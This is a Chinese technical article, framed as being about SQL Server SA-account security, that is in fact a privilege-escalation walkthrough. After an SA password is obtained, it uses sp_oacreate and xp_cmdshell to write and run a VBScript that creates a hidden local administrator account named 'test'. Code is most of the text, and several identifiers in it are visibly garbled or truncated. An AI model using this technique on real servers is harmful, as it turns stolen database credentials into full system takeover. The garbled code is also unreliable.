Microsoft SQL Server SA權(quán)限安全
在獲得SA密碼后,往往因?yàn)榉⻊?wù)器管理者或”前人”將net.exe和net1.exe被限制使用,無(wú)法添加管理員賬號(hào)。我們知道VBS在活動(dòng)目錄(ADSI)部分有一個(gè)winnt對(duì)象,用來(lái)管理本地資源,利用它可以不依靠CMD等命令就能添加一個(gè)管理員,具體代碼如下:
set wsnetwork=CreateObject("W.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) '得到adsi接口,綁定
Set oe=GetObject(os&"/Administrators,group") '屬性,admin組
Set od=ob.Create("user","test") '建立用戶
od.SetPassword "1234" '設(shè)置密碼
od.SetInfo '保存
Set of=GetObject(os&"/test",user) '得到用戶
oe.add os&"/test"
將上面的代碼保存為1.vbs,然后執(zhí)行,命令為“c 1.vbs”,這樣就會(huì)在系統(tǒng)添加一個(gè)系統(tǒng)名為test,密碼為1234的用戶。具體在查詢分析器執(zhí)行的代碼如下:
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'ing.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("W.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","test")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "1234"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo '
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/test",user) '
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'
執(zhí)行完上面的語(yǔ)句,再執(zhí)行下面這行代碼,這行代碼一定單獨(dú)執(zhí)行,不要與上面的放在一起執(zhí)行,否則會(huì)提示“c:\1.vbs正被另一個(gè)程序運(yùn)行”而無(wú)法成功添加用戶:
exec master..xp_cmdshell 'c c:\1.vbs'
如果系統(tǒng)用戶沒有添加成功,有可能是因?yàn)橄到y(tǒng)用戶的密碼1234的太簡(jiǎn)單,不符合服務(wù)器的復(fù)雜密碼策略,可以考慮設(shè)置的復(fù)雜些,然后再測(cè)試一下。也可以使用echo將代碼寫到1.vbs中,代碼格式為:
exec master..xp_cmdshell 'echo set wsnetwork=CreateObject("W.NETWORK")>>1.vbs'
關(guān)鍵字:SQL Server、服務(wù)器
新文章:
- CentOS7下圖形配置網(wǎng)絡(luò)的方法
- CentOS 7如何添加刪除用戶
- 如何解決centos7雙系統(tǒng)后丟失windows啟動(dòng)項(xiàng)
- CentOS單網(wǎng)卡如何批量添加不同IP段
- CentOS下iconv命令的介紹
- Centos7 SSH密鑰登陸及密碼密鑰雙重驗(yàn)證詳解
- CentOS 7.1添加刪除用戶的方法
- CentOS查找/掃描局域網(wǎng)打印機(jī)IP講解
- CentOS7使用hostapd實(shí)現(xiàn)無(wú)AP模式的詳解
- su命令不能切換root的解決方法
- 解決VMware下CentOS7網(wǎng)絡(luò)重啟出錯(cuò)
- 解決Centos7雙系統(tǒng)后丟失windows啟動(dòng)項(xiàng)
- CentOS下如何避免文件覆蓋
- CentOS7和CentOS6系統(tǒng)有什么不同呢
- Centos 6.6默認(rèn)iptable規(guī)則詳解